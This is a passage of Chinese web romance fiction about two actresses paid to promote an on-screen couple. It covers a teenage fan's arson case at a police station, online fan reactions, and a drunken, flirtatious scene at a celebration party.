苏寄欢轻轻摇了摇头，自责道：“是我的问题，我没有主动去承担和你卖cp应负的责任，我会想办法解决的。” 苏寄欢对粉丝运营之事向来甚少插手，多由苏芙一手操办。她一心扑在选剧本与演戏上，最多兼顾管理[苏盛］的艺人。在粉丝运营方面，她就像个甩手掌柜。 她尊重每一位粉丝，也感激粉丝的支持与投入，只是她与粉丝之间始终隔着一座座大山。 除了让苏芙对粉丝大方些，她在其他实质方面给予甚少。当她站在演员的舞台上，她专注于雕琢优质作品；回归她本身，她只需要做好自己。她深知只要做好这两件事，便能对粉丝产生巨大价值。 在她看来，扮演好相应角色，本就是一场互惠互利的旅程。至于对粉丝的感情，她觉得那是一种模糊的存在，如果粉丝认为她爱，那便是爱；若觉得不爱，那也无妨。 毕竟粉丝所钟爱的她并不是她本人，[苏寄欢］只是一个遥远而抽象的概念。只是她没料到那些人会如此极端地攻击祝星亦，那些极端粉丝简直就是不可理喻的疯子。 来到保姆车上，祝星亦小心翼翼地帮忙包扎伤口，眼中满是心疼。 “不用担心，伤口不深，很快就会愈合，不会耽误我们的行程。”苏寄欢看着祝星亦那副愁眉苦脸的模样，出声安慰。 这时苏芙的电话打了进来，声音中满是怒火：“那小孩纵火又故意伤人，拘留罚款肯定跑不了她！” 苏寄欢开着免提，祝星亦听到苏芙的怒吼，包扎的手不自觉地慢了下来。 “警察那边目前怎么说？”苏寄欢问道。 苏芙气冲冲地说：“你粉丝的摊位被烧光了，那么多物料全没了，指定得赔。还好当时及时灭火，没有造成更大的灾害。但她的行为太恶劣了！纵火啊！公共场合纵火！她疯了吗！她才15岁！现在的小孩是没有脑子的吗？她不知道她这样做会毁了她一辈子吗？！” 15岁？苏寄欢耳朵竖了起来，她欲再追问，却瞥见祝星亦慢吞吞的包扎动作，顿了顿，说：“我这边不用管，一些皮外伤，不碍事。物料的赔偿……她只是一个学生，估计也拿不出那么多钱来。” 说话间，她的目光始终停留在祝星亦身上。 见祝星亦微微侧头，她继续说道：“但她纵火和扰乱公共秩序，这个不能放过。虽然总体来说没有造成太大损失，但她的行为实在严重，她家长那边……” “哎，她是单亲家庭。我听说她爸妈早年离婚了，她爸爸抢了她抚养权又不管她，她在学校挺孤僻的。”苏芙说道，“可能追星是她生活中最大的乐趣，所以有些疯魔了。但是！她伤你，还想伤其他人，这个是更改不了的事实！” 警局门口，白澜了解完情况跟苏芙说了些什么，苏芙转头说：“鸭头，你还得过来一趟做笔录，小雨这边咬死要找那小孩麻烦，我跟你讲，如果有需要，我这边马上叫律师来……” “不用麻烦律师了，我没什么事，你先在那边简单帮忙调解一下，我们马上到。”苏寄欢挂了电话，静静等待祝星亦包扎完毕。 祝星亦低着头说：“你这个伤口挺深的，不知道会不会留疤。你真打算……” “那你觉得我该原谅她吗？”苏寄欢目光平静地看着她，反问道，“或者说，你希望我原谅她吗？” 绑好绷带，祝星亦沉思片刻，抬眸直视苏寄欢：“那，苏老师，你希望我原谅你粉丝对我的攻击吗？” “我不希望。”苏寄欢回答得干脆利落。 祝星亦微微一怔，随即坚定地说：“那我也不希望你原谅她，做错事必须付出代价。” 苏寄欢眉毛轻挑，点了点头，对金允声说道：“允声，去找苏芙。” “收到。” /// 警局门口围了一群人，苏寄欢赶到时，苏芙慌慌张张地迎了出来，拉着苏寄欢的手，一脸为难：“坏事了啊！我看那小孩太可怜，想着说点好话，谁知道她又跟小雨她们吵了起来，差点又动手，当着警察的面没有丝毫悔意，这事真的没完没了了。” 苏寄欢跟着苏芙走进警局，一进去便看到景雨初双手叉腰，满脸怒容地跟警察诉说着什么。景雨初见苏寄欢来了，急忙跑过来关心：“苏苏！你手没事吧！” 苏寄欢摇了摇头：“就受了点皮外伤，没什么大事。你们呢？” “我们都没事，那火一烧起来我们及时撤离了，就是物料……” “物料我让苏芙给你们补一补，钱是小事，重要的是……”苏寄欢转身望向被两个警察按着的范可心，“重要的是她的事。” “苏苏，我们不能放过她！”梁韵文想起范可心的恶行就怒火中烧，“必须让她蹲局子！纵火又要杀人，把她关个几年才好！” “我让苏芙稍后喊律师过来给你们帮忙，该是什么处罚就是什么处罚。”苏寄欢暗暗攥紧了拳头，声音中透着一丝疲惫，“不能因为她身世可怜就轻易原谅她，再怎么恨那些言论，也不能纵火、持刀伤人。年龄、家庭、出发点，都不是她危害社会的理由。当然，更不能因为她是星星的粉丝，我就要睁一只眼闭一只眼。” 说着，苏寄欢看向祝星亦，语气坚定：“同样的，我的粉丝再怎么讨厌我们的cp，也不能肆意对你进行人身攻击。我会再请一名律师处理你被我粉丝辱骂的事情，绝不会放过任何一个人。” 景雨初闻言，眼中露出一丝惊讶。 苏寄欢亲自处理粉丝的事？这似乎是个更有效的办法。 景雨初知道祝星亦还没有工作室，黑粉攻击之事，艺域和风荇都不管，刚刚听说舆论那边是白澜在处理，有时候祝星亦不忙了会自己处理，剩下的就是叶松萝她们那些大粉一起帮忙反黑。 真是辛苦她们了。 现在苏寄欢帮忙处理极端[酥芽］的言论，既能控制[酥芽］的情绪，表达态度，又能警告其他黑粉。 这个处理方法确实高明。 祝星亦*听后小声嘟囔：“那不知道要抓多少人进去呢。” “什么？” “没什么，你来解决就好。”祝星亦莫名松了一口气，“不过，苏老师，我想跟范可心说句话。” “好。” 祝星亦走到范可心被控制的地方，范可心察觉到有人靠近，赶忙抬头。见是祝星亦，她嘴唇颤抖，喃喃道：“星星，星星你来了，我……” “谢谢你。”祝星亦低头看着她，语气透着温柔，“谢谢你对我的保护和关心，我很感激你对我的维护。我知道那些言论让你们很生气，但归根结底，这也是粉丝之间的纷争，苏老师对我很好，她从来没有想过要害我。” 范可心咬着嘴唇说：“可是都是她！如果不是她的粉丝，你……” “我做不到让所有人都喜欢我，我也不在乎谁不喜欢我，你们喜欢我就够了。”祝星亦蹲下身子，努力与范可心平视，然后轻轻握住她的手，“你们喜欢我，我喜欢你们，就够了。不是所有的声音都要听到耳朵里，捂着耳朵向前跑，不一定是坏事。” “但是可心，你做错了，这是法治社会，你做出了违法行为是要被惩罚的。辱骂我的人也做错了事，苏老师那边已经帮忙去惩罚她们了。”祝星亦拍了拍范可心的手，语重心长地说，“追星不要盲目，不要那么不理智。你现在还小，还有大把的未来，一定要有自己的判断力，一定不要因为别人耽误了自己的前途。” 祝星亦侧身从包里拿出一个闪烁狐星的周边，轻轻放在范可心手中：“可心，等她们做完笔录讨论完你的事，你可能要面临一些处罚。但是你不要觉得天塌了，这个是为了警示你，以免你未来再犯下更大的错误。所以无论惩罚结果怎么样，一定不要太害怕，可以吗？” 范可心紧握着闪烁狐星，泪水夺眶而出：“我……我知道我做错了，我也很害怕……我……没有人会帮我，我……” 想到范可心的家庭，祝星亦叹了口气：“我会让白澜帮忙跟进你的事，学校那边也好，你家里那边也罢，我让她尽量帮你解决。至于舆论……我请苏老师让她保护一下你的隐私，你不要太害怕，好吗？” 范可心悄悄抬眼看向远处的苏寄欢，只见那人面容冷峻，宛如一座冰冷的雪山。她嗫嚅着：“她……她会原谅我吗？” “如果你知错就改，她会原谅你。”祝星亦用力握紧她的手，“她是个很好的人，她真的很好，她从来没有伤害过我，她也从来没有对不起我。另外，可心，我想告诉你，不要沉溺于互联网上的负面情绪里面，也不要轻易被那些言论煽动情绪。不理智的人太多，充满恶意的人也太多，玩得过火就会受到惩罚，任何人都一样。” 祝星亦见她听得认真，接着说：“还有一件最重要的事，任何人都不值得你毁掉自己的未来，你自己才是最重要的。你一定要把自己放在第1位，不要为了谁做这种极端的事，不值得，任何人都不值得。” 范可心哽咽着说：“可是你值得，你最值得。” “如果你觉得我值得，那就听我的话好吗？配合调查，知错就改，以后不要再犯这种错。” 范可心吸了吸鼻子，点头：“嗯！” 见她情绪逐渐稳定，祝星亦起身将她轻轻抱住。 被温暖的怀抱环绕，范可心慌张地闭上双眼。 “等下乖乖配合，不要再跟其他人吵了，不是什么大不了的事，咱别理那些人。”祝星亦轻轻拍着她的背，“我只关心我的[星海］们，你们也只关心我，好吗？别人的话根本不重要，我们问心无愧就行。” “嗯！”范可心紧紧搂住祝星亦，用力点头，“别人不重要，我们最重要。” “可心以后会不会乖一点？” “会，会乖。”范可心哭得抽抽搭搭，“一定会乖的，会好好学习，会考个好大学，然后继续追星星。” “可心真棒，我也会变得更优秀，让你们更骄傲。” “呜呜呜，星星，我……谢谢你，我……我爱你。” 祝星亦搂紧她：“我也爱你们，有你们才有我的今天，我最感谢的就是你们。我们一起变得更优秀，好吗？” “好，好。谢谢星星呜呜呜。” “不是吧，这人这么坏，还被星星抱了！”许明歌看着抱在一起的两人，满脸不悦，“怎么这样啊，那可是个犯人诶！” “我也想被老婆抱……”叶松萝一脸羡慕。 不多时，范可心安静下来配合做调查。苏寄欢做完笔录等了一会儿，警察那边给出了惩罚结果。 “烧毁摊子的行为构成故意毁坏财物罪，范可心还不满16岁，没办法对她行政拘留，另外她持刀威胁以及划伤……” 苏寄欢听闻，下意识地看了看自己受伤的手，在心里权衡了一下，说：“我的手已经快好了，不碍事，我不追究。” “需要请她监护人过来赔偿损失，还要对她进行口头教育。” “好。”听到这个结果，苏寄欢暗暗松了口气。 白澜联系了范可心的妈妈过来，范可心看到妈妈来了，愣了一下。 她原以为会是爸爸过来，都已经准备好迎接爸爸的巴掌了。 “妈……”范可心知道自己犯了大错，低着头小声喊道。 范妈妈匆匆赶来，脚步急促而慌乱。一到现场，她便忙不迭地向在场的每一个人鞠躬致歉。 “我没拿到她的抚养权，那男人总不让我见她，我没把她教好，是我的错。”范妈妈擦着眼泪抽泣着，又自责又难过，“对不起，她给你们添麻烦了，我赔偿，我都赔偿。” 了解到范女士有自己的工作，只因为抚养权不在她手里，无法将范可心接走好好教育，而范可心爸爸是个失职的父亲，整日酗酒，拿着范女士每月寄来的钱挥霍，从未好好管教过范可心。 苏寄欢接了个电话后对范女士说：“我这边本来请了姚律师解决范可心的事，但现在已经解决好了，我也不想让她白跑一趟。关于抚养权的事，你可以免费咨询她，有需要的话，你也可以向她寻求帮助，她是很厉害的律师，如果你想争回来抚养权，她完全OK的。” 范女士又惊又喜：“太好了太好了，谢谢你！” 躲在范女士身后的范可心偷偷看苏寄欢，没想到正好对上苏寄欢那毫无波澜的眼神。 这个目光太冷，太平静，看得范可心心里害怕，赶忙又躲了起来。 “苏老师，你们在聊什么？”祝星亦走过来问道。 苏寄欢瞥了一眼范可心，说：“帮忙介绍一下律师，没别的事的话，我们先回去？” “嗯。”祝星亦脸上带着温和的笑意，对范女士说：“那范女士，我们先走了。” 她微微歪着身子，向范可心挥手：“可心，我们走了。” 范可心这才慢慢地探出头来，眼睛红红的，带着一丝不舍与感激：“再见星星，再见，苏……再见苏小姐。” 苏寄欢没再多言，转身离开。 到车上，祝星亦眼睛一眨不眨地盯着苏寄欢。 苏寄欢被她看得有些无奈，问：“怎么了？” 祝星亦嘴巴一撇：“你不是说要给她惩罚的吗？不是说不原谅她的吗？怎么不追究她的责任了？” 苏寄欢看了看自己的手，心里想着那伤口其实也没那么严重，嘴上说道：“想来想去，觉得这点小伤没必要。” “还顺便把律师让了出去？”祝星亦追问。 “你不还抱着她说尽了好话？”苏寄欢靠在椅背上，双腿优雅地叠搭着，调侃道，“还说什么做错事一定要付出代价，结果不满16岁，什么事儿都没有。” “那不是她的年龄钻了空子吗？”祝星亦也无奈，“算了，总算是解决了。” 她心里也明白，事情发展到这一步，或许已经是最好的结果了。 “你都跟她说了什么？她跟变了一个人似的。” 祝星亦：“也没说什么，就……” 她微微抿了抿嘴唇，忽然笑了起来：“就……模仿着你的模样，安抚她，学着你的样子教一个孩子长大。” 苏寄欢微微低头，有些惊讶：“我从来没有抱着你安抚过。” “诶？没有过吗？” “没有。”苏寄欢肯定地回答。 “是吗？” 苏寄欢正欲与她争辩，突然，一具柔软的身躯扑进了怀里。 祝星亦紧紧搂住苏寄欢的腰，声音放软：“那……现在就有了。” 她闭上眼睛，感受着苏寄欢胸前的温暖：“苏老师，谢谢你，你明明可以选择不原谅她的，她本就应该得到惩罚，居然因为年龄逃掉了。她的行为太恶劣了，又是纵火又是伤了你，我一点都不想原谅她。” 苏寄欢深吸一口气，眼中闪过一丝复杂的情绪，她抬手轻轻抚了抚祝星亦的头发，嘴角泛起一抹浅笑：“我以为你舍不得她受惩罚。” “做错事就要受惩罚。” “但她是因为保护你才这样做的，她保护你，我很感谢她。” 祝星亦嘁了一声，“差点把你捅漏气，你还感谢她。” 苏寄欢笑出声，“行，我讨厌她，好不好？” 祝星亦只叹算那范可心幸运，未满十六岁就能逃脱惩罚，也不知道这个规定是在保护哪些人。 倒是这件事上了个小小的热搜，好在大家口风严实，保护好范可心的信息，没让事情闹太大。苏寄欢那边也在官博发了声明，称自己部分粉丝的行为给祝星亦带来太多困扰，已经请律师帮忙维权，并向部分极端[酥芽］和极端黑粉发律师函。 此行为一出，众多路人对苏寄欢帮忙反黑一事大肆讨论。 [不是吧，苏寄欢亲自下场帮祝星亦反黑？？］ [呃……请问风荇在干什么？劳驾我家姐姐给你家艺人反黑？］ [我听说zxy没有工作室，日常事情都是她自己和新助理一起处理］ [是这样的，我们星星出道一年多一直没有工作室，运营都是蹭艺域的，反黑是靠我们粉丝和星星，风荇个王八蛋不作为，星星都要被他们害惨了！］ [劁你爹的风荇，星星给你们这个小作坊赚了多少钱，你们跟她28分不说，拿了她的血汗钱你们还不好好培养她，非要去养那些怎么捧都捧不火的男人。塌了那么多个还想捧，见货！］ [28分是指？］ [片酬、演出费，星星2，他们8，星星和他们签了十年合同，提前解约要付天价解约费……］ [我劁！内娱有这黑心公司？？！！自己2，公司8，她当初怎么会傻了吧唧的签约这家公司？！］ [原谅星星吧，她当初也是被风荇骗来的，我们宝宝一个不谙世事的大学生，一个人来娱乐圈打工，哪里知道哪些坑踩哪些坑不能踩，被坑被骗又跑不了，只能天天打黑工。关键风荇也不投资源，星星还要完成高额kpi，只能天天跑通告……］ [路人……但已经开始心疼祝星亦了……］ [劁，转粉了，她好惨，她好像也没做错过什么，她业务能力超强的，简直是天选爱豆，演戏也很让人惊讶，演得太好了，比科班出身的还要强！］ [我也对她转粉了！怎么会有这么努力的人啊！她一年到头连轴转，都不带停的！她还演了《和你奔向四季》的女二杨易颜，我看剧照就好期待啊！恶女人设真的超棒！］ [能驾驭傻白甜也能驾驭反派恶女，我真的转粉了，别拦我，我要也要当[星海］］ [如果你知道我粉的是祝星亦，你也会觉得我命好］ [我劁，你们才转粉吗？《青春理论》你们没入坑吗？她是整个舞台上跳舞最有感觉的，超有力量感，我感觉我站她旁边我能被她捶死。她的表演一点都不媚，超级飒，超级棒，她简直就是我的老公姐！］ [请不要叫老公姐，请尊重她的性别，她是女的，请叫老婆］ [请支持我们Shinyfive的队长祝星亦，也请关注一下我们的小破团～Shinyfive真的超优秀的！］ [内娱有Shinyfive这样优质的女团是内娱的福气，可惜艺域不捧不爱，资源全给了新男团的一群丑男］ [一群丑男吃前辈踩出来的路，还敢踩Shinyfive，没有Shinyfive就没有《青春理论2》，你们以为《青春理论》当年是靠谁在一片选秀节目里杀出来的？没有祝星亦，《青春理论》只会泯然众人矣，没有Shinyfive，你们艺域的选秀综艺算个屁］ [如果这个世界能像爱男一样爱我就好了］ [艺域能不能快点给Shinyfive出点有质量的歌啊，Shinyfive的实力配上好的专辑，完全可以冲击欧韦斯好吧，有钱给你家男艺人整容，没钱请人给女团做音乐是吧］ [Shinyfive五个可爱女宝，就这样被艺域耽误了，心疼死我了］ …… 伴随着讨论声，#祝星亦工作室#祝星亦艺域#祝星亦风荇等词条顺势上热搜，人人都知道了风荇还没给祝星亦成立工作室，反黑要靠祝星亦自己和祝星亦粉丝，甚至还要靠苏寄欢，风荇那边也不好意思再对祝星亦成立工作室的事拖延。 没等两天，祝星亦的工作室便成立了。 不过艺域对那些批评声充耳不闻，专心给新男团做卖腐综艺。当初Shinyfive都没有专属团综，新男团什么都有。 爱丁堡名不虚传。 苏寄欢发了律师函的动态后，太极端的黑粉立马消失了许多，超话和评论区也和平许多。虽然还有很多黑粉在蹦跶，但也不似之前那么严重，就是不知道这个氛围能维持多久。 不过cp粉大呼磕到了。 [我没看错吧，亲自帮星星反黑？？！！］ [出手帮老婆打黑子，我劁，内娱第一人吧！］ [这明明就是在宣告主权！天啊，我磕到真的了！我磕到真的了！］ [听说她们在首映礼后台接吻了，不知是真是假］ [我作证，我是话筒］ [我是窗帘］ [我是她们的口水］ [？］ [我真的在现场！苏苏护妻很有担当！］ [她俩真的谈了，我拿我期末成绩做赌注，当时小孩捅人那情况，苏苏几乎想都不想挡在星星面前］ [业内知情的说，谈了是真的，不仅谈了，做也做了，苏1祝0，明年订婚，保真］ [笑死，别夹带私货了，星1苏0好吧！星星是正统年下1好吧！热情洋溢的年下才是1！］ [吃姐0的人就像喜欢吃香菜的人一样恶心，你星修炼八百年也做不了1，梦里想想得了，等着被我姐五根手指抠爆］ [喜欢吃香菜的路过被姐1党踹了一脚，呵呵，你不会是苏梦女吧？］ [[月星百万］是假的我倒立喝折耳根汁］ [我服了，刚从小说里和kk党打架出来，磕真人cp又碰到kk党，谁谈恋爱还分10，你们到底在磕什么］ [主页破案了，吃星0还当理中客啊，滚远点］ [敢嬷星星的人都应该被星星扇一巴掌］ [被星星扇巴掌的时候，第一时间感受到的不是脸颊的疼痛，而是星星手掌的香气，啊～好想被星星扇巴掌］ [初中时被星星拿烟头烫过屁。股，前面忘了，后面忘了，星星是我主人］ [xswl，你星在床上只能被苏抠晕，我已经把苏姐的裤子全都缝上了，谁都别想嬷我苏姐。敢嬷苏姐，苏姐戴美甲抠哭你］ [请问在哪排队，我要被姐姐抠哭］ [年下就是屎，到底谁天天在吃屎？］ [小学时被苏姐和星星轮流扇巴掌］ [说谢谢了吗？］ …… 纵火一事上了热搜后又被压了下去，但词条相关《寄明月》，大大小小的热搜上了个遍儿，路人想不关注都难。 麦斯TV《辞旧赋》剧宣部，单梓彤点开苏寄欢的微博左右分析了番，跟邱涵说：“不是官宣，胜似官宣，你看看人家多会。” 单梓彤敲敲那篇博文道：“你看这句：[希望日后各位[酥芽］尊重、理解祝星亦］，表面是说让她粉丝尊重理解星星，潜台词是什么，是尊重她们的恋情！” 她又划了一道线，“来，看这句，[我和她关系甚密，她与我是师徒、同事、挚友］，挚友？什么是挚友？偷摸她几（挚友）就是恋人啊！” “呐呐呐，还有这句[我不希望过多的负面舆论破坏我们的关系］，下面还放了她给她粉丝发的律师函，这什么意思？这就是在说，你们要是敢破坏我们的恋情，都给你们抓起来！我劁啊啊啊啊！” 邱涵看她还在分析，她抱完头举着手吼道：“单总！你别磕了！《辞旧赋》热度都低成什么样了！罗瑜都要骂死我们了啊！！” 单梓彤嘬了口《寄明月》的联名奶茶，懒懒道：“怕什么啊？咱组要是解散了，那就去做综艺去。新综艺《夏日开场》，我们没地方干活我们就去帮忙，第一期就邀请[月星百万］来玩，六月底开录。” “我劁！真的！！” “不是吧！我能直接磕真人cp了？？！！” “啊啊啊真的吗单总！” “那还有假？”单梓彤喜上眉梢。 “可是我们没做过综艺啊……我们只是运营……” 邱涵有点担忧：“而且……晏瑾年那边……” 单梓彤：“邱涵，晏瑾年再怪罪下来我们也只是解散。解散又怎么了？我在麦斯工作这么多年，不知道被调多少次部门了。” “还有，你们这群实习生，从学校出来就是一张白纸，反正你们什么也不会，我带你们做了不就会了？”单梓彤拍桌子给她们涨士气，“去哪里不是干活？真要解散了就玩综艺，这么大个麦斯我们还没处打工？” “好！！” “单总监！我当牛做马都要跟着你！” “呜呜呜单总监……我爱你……” 邱涵叹口气，单梓彤拍拍她的肩安慰道：“你别丧气了，你想一想你能磕真人cp了，你高不高兴？” “高兴。”邱涵想了想，觉得好像也没什么值得叹气的，“高兴着呢！” /// 《寄明月》播出不久，热度和讨论量已经拿下热播剧集第一，并破了达尼视频季度新剧播放数据的记录。达尼宣布每周六加更一集，还特意邀苏寄欢和祝星亦参加小庆功会。 “庆功会前半段直播，后半段自由活动，等直播结束后你少喝点酒，明天还有通告要赶。”白澜跟祝星亦对行程，“正好离达尼视频那边也不远，我直接帮你定附近……” “顺便帮苏老师也定间房。”祝星亦说，“反正我们一起出席活动，帮她也定了。” “好。” 庆功会当天，祝星亦换完礼服在镜子面前照了照。淡妆，头发由化妆师简单打理了下，一身雾蓝色挂脖系带长裙，裸色高跟鞋，像蓝色雾霭中走出的红色莓果，灼人的火苗闪着晨曦的光，在烟雾溟蒙的大地上跳跃。 白澜给祝星亦拍了多角度照片，随后带她去酒店露台又拍了几张。 “这个姿势呢？”祝星亦摆了个姿势。 白澜抿唇笑说：“好看，很好看。” “你总说好看，什么姿势都好看吗？”祝星亦撇嘴，“不过你很会修图，你技术也太好了。” “你本来就很漂亮，怎么拍都好看。”绯红从白澜的耳朵烧到心头，“并不是我技术问题。” “之前那个张静怡只会给我拍糊照。” “不提她，讨厌的家伙。星亦，手举高点。” 祝星亦乖乖举高：“好，不提她。” “苏老师什么时候到？”拍完照回房间路上，祝星亦问。 白澜检查着拍好的照片，回答：“允声说……” 说着，抬头，走廊上走来一个黑色身影。抹胸斜开衩鱼尾裙，黑色高跟鞋，微卷的长发，裹挟着阴郁和温柔的轮廓始终冷峻无比，好似遥远极地的雪，和越过黎明跳出地平线的太阳。 白澜抱着相机望向那人，句子卡在唇边久久未能出口。 冷与硬是苏寄欢的底色，唯一蓬松的柔软在一团火上绽放。白澜的感知力很强，她明白这些事，也不想装作不知道。 她有些局促地慢了脚步，下意识转头看向身旁的祝星亦。 祝星亦提着裙子快步走向苏寄欢，“苏老师！” 苏寄欢瞥了眼白澜，很快，收回目光。 “还没到点儿，要不先去别处转转？”苏寄欢提议，“六楼有个很漂亮的展厅，适合拍照。” 祝星亦点头，“好啊。” 白澜抱着相机走过来，苏寄欢同她道：“白澜，等下帮我们拍点照片，可以吗？” “当然可以。”白澜马上应声。 “你们刚刚去哪里了？”苏寄欢问。 白澜道：“去露台那边给她拍了些照片。” 苏寄欢接过相机看了看照片，“拍得很不错，专业的？” 白澜不敢说自己短暂地当过祝星亦的站姐，还出过神图的事，只说：“大学都时候在网宣部工作过，会拍一点。” “你的拍摄风格有点眼熟。”苏寄欢把相机还给白澜，“我早就有这种感觉了。” 白澜笑笑：“是吗？我还没发觉我拍照有什么风格。” 祝星亦推推苏寄欢，“苏老师，先去六楼，不然赶不上宴会。” 苏寄欢颔首。 三人拍完照赶到宴会厅，没多久，主持人上台致辞，宴会正式开始。 韩芸赶来给二人敬酒：“寄欢，星星，这次真的打了个胜仗，如果这个热度能一直保持下去，《寄明月》将会继续破我们达尼的记录。” 当初韩芸想着和《辞旧赋》对打可能会打不赢，以为上半年的指标完成不了了，还好《寄明月》扛住了。 “谢谢你们二位愿意配合卖cp，辛苦了，我敬你们。”韩芸冲二位举杯。 “韩总监太客气了，配合工作是我们应该做的。”苏寄欢举杯饮酒，瞄了眼默默喝酒的祝星亦，她道：“只是不凑巧了，麦斯那边邀我们……” 想到麦斯看《寄明月》热度大，及时邀请二人做客新综艺吸引热度，韩芸道：“好在麦斯只是邀你们录一期，我们达尼为你们量身定做了一整季，等你们录完他们的，就可以来达尼玩。团综也是六月底开录，开播时衔接《寄明月》结局。” 祝星亦犹豫了会儿问：“那等剧结束了，是不是我们就不用卖cp了？” 苏寄欢举起酒杯喝了口酒，对上韩芸的目光。 韩芸思索了一番，道：“还是要再卖一段时间，过往有艺人在剧结束后立马就避嫌，导致剧的后宣内容跟不上，执行的营销效果差劲，口碑转坏。” 她再次跟二人碰杯，轻声说：“你们二人本就是关系甚好的师徒，没有必要因为剧的结束就将你们的关系完全切割。再者说，我没有觉得你们卖cp就是真的只是在[卖］。” 韩芸的目光在祝星亦身上扫过，意有所指，她淡淡笑道：“你们卖得很自然，很真实。” 祝星亦觉得韩芸这句话怪怪的，赶忙解释：“这毕竟也是工作的一部分，苏老师敬业，我也从她身上学到很多。” 韩芸似乎有些了然，点了点头说：“有好老师教，那是挺好的。对了，你们来这里参加庆功会，明天又有活动，好像在这里住下了？” 苏寄欢颔首：“是，我们在这里休息，明天活动的地点就在附近。” 韩芸提醒道：“小心狗仔和代拍，还有你们的粉丝。他们就在隔壁大楼里蹲着你们，说不定镜头已经对准了你们的房间，回去后记得赶紧拉上窗帘。” 韩芸顿了顿，忽然笑说：“不过发点糖也不错，能发就发，不能发就拉窗帘。” “明白了。”苏寄欢嗯了声。 能发糖就发糖，不能发就拉窗帘？祝星亦思索韩芸的话。 宴会办得很热闹，苏寄欢一直在跟韩芸她们聊天喝酒，没过多久，她双颊泛起酡红，眼眸蒙上一层薄薄的水雾。 祝星亦陪在她身侧，嗅着丝丝缕缕酒气，轻声劝道：“苏老师，明天还有活动，你不要喝太多。” 苏寄欢身形微微一晃，靠近了些祝星亦，灼热的气息轻抚在她脸颊，“嗯？你说什么？” 说话间，她的手轻轻抓住了祝星亦的手，柔若无骨的触感让祝星亦的心猛地一颤。 祝星亦下意识缩了缩手，却终是任由她握着，“我说，你少喝点。” 苏寄欢低头浅笑，声线中带着一丝撩拨，“你想让我喝你的酒？” 祝星亦赶忙摇头，“不是，我是……” 话未说完，苏寄欢握住祝星亦持杯的手对上自己的唇，她仰起头，脖子修长白皙，然后将酒吞咽下去。 饮了两口后，她放下祝星亦的手，轻吻酒杯，目光却始终胶着在祝星亦身上，炽热而深邃的眼似要将祝星亦的灵魂都灼烧起来。 “那你想要我喝你的什么？”苏寄欢低声问。 祝星亦只觉耳尖滚烫，呼吸也变得急促起来，“苏老师，你真喝多了，要不先回去休息？” “行，我跟韩芸说一声。”苏寄欢松开手，脚步略显虚浮地走向韩芸。很快，她转身回到祝星亦身旁，“你带我回去休息。” “好。”祝星亦暗自松了口气。 苏寄欢的房间在祝星亦隔壁，进屋后，祝星亦径直走向洗手间，拧开淋浴头试水温。 祝星亦道：“苏老师，你先休息会儿再沐浴。” 她走出淋浴间，抬眸见苏寄欢站在床边的落地窗前，窗帘半掩。 想起韩芸的叮嘱，祝星亦赶忙上前，“苏老师，拉上窗帘，保护隐私，她们可能正在拍摄呢。” 苏寄欢侧身，带着柚子花香的酒气扑面而来。 祝星亦轻皱眉头，“苏老师，快拉上窗帘。” 苏寄欢却仿若未闻，一动不动。祝星亦上前一步欲拉窗帘，却被苏寄欢猛地拽住手腕。 黑色高跟鞋轻轻向左挪动，开衩鱼尾裙的裙摆随之摇曳，苏寄欢向前一步，紧接着，祝星亦的身子便抵在了玻璃窗上，苏寄欢仅用一只胳膊就将她牢牢禁锢。 苏寄欢低眸看有些慌乱的人，绿藻般的墨发潋滟着、水沉沉的，粉白的脸颊铺了层不可言说的红，狐狸耳朵尖上攀爬了太多的灼热，正往外冒着热气。 她静静望着小狐狸湿漉漉的眼，琥珀色的眼眸里反射出自己的模样。她像只撑开羽翼的母鸡，正搂着抱着自己的崽儿，欲要把一份复杂的情绪具象化。 隔壁大楼—— “啊啊啊啊苏苏壁咚了星星！壁咚啊啊啊啊！” “让我看看让我看看啊啊啊啊啊啊！” “看什么呢！快录啊！” “我的天，这是我能看的吗？这真是我能看的吗！！” “苏……苏老师……”祝星亦试图抽回手，却徒劳无功，“苏老师，你先休息，我也去……” “我看到她们了。”苏寄欢低语。她松开祝星亦的手，将自己的左手掌抵在窗上，“很多人，从我这个角度能看到她们。” 祝星亦心中一惊，苏寄欢能看到那些人，意味着她们二人已毫无保留地落入那些人的镜头之中。 “苏……呃……苏老师，我们要卖cp吗？”祝星亦又想起韩芸的嘱咐。 苏寄欢的呼吸炽热地喷在她脸上，“当然要卖。” “那……” “你吻我。”苏寄欢猝然说道。 “吻……吻？”祝星亦的脑子瞬间一片空白，她结结巴巴地说：“我……我吻你？我……” 冷峻的身影近在咫尺，祝星亦瞧不清苏寄欢的面容，只听见带着笑意的声音，“不能吻吗？你不是说要做我不乖的学生？” 祝星亦垂眸，面露难色，“不行。” “我不喜欢你这个答案。”苏寄欢又靠近了些，几乎与她贴身而立，“星星，吻我。” “苏老师，您要有点耐心。” “我对你很有耐心，一直都很有耐心。” 祝星亦紧咬下唇，绯红从耳尖蔓延至胸口，“我不能吻你。” “这是工作。”苏寄欢提醒道。 工作，工作是卖cp，卖cp要接吻。 祝星亦想着这些东西，抬眸问道：“苏老师觉得接吻也是工作的一部分吗？接吻是为了工作，卖cp是工作，为了工作，您可以和任何人接吻，是吗？” 苏寄欢听后只觉头皮一阵发麻，她强压下心中的波澜，沉声道：“星星，有粉丝在的地方，就是工作。吻我。” “不行，我不可以这样对你。”祝星亦无奈，只能去推苏寄欢。 苏寄欢握住她的手，声音低柔了许多，好似撒娇般，“你可以这样对我，怎样对我都行。不要将我视作高高在上的神祇，在你面前，我是仰望着你的。吻我，你来吻我行吗？” 祝星亦红着耳朵，“不行……苏老师，不行，我不能……我不能……” 听着她的拒绝，苏寄欢缓缓松开手，“对不起，我喝多了。” “没事的苏老师，我知道你喝醉了。”祝星亦长舒一口气，可心中那股莫名的情绪却如鲠在喉，令她颇为难受。 苏寄欢仍抵着她，声音恢复了几分平静：“星星，如果不只是为了卖cp呢？如果我别有用心，你会如何回应我？” 这些话出口，祝星亦听了心中一阵慌乱，她听出这话中的异样，立刻蹙起眉头，“苏老师，你……真的喝醉了。” 苏寄欢却不依不饶，“如果除了利益和物质，还有别的东西存在，你会跳船吗？” “你在说……什么？” 苏寄欢看着她满是疑惑的双眸，轻轻一笑，“星星好笨。但你笨得可爱，你是不是不喜欢我说你可爱？” 祝星亦匆匆抬眼瞥她，又急忙低下头，“对，不喜欢。” 片刻后*，苏寄欢温柔的嗓音在祝星亦耳畔响起：“可是我的星星，一直都很可爱。” 温热的呼吸洒在耳畔，祝星亦只觉身体涌起一股异样的悸动，她侧过脸看向苏寄欢。 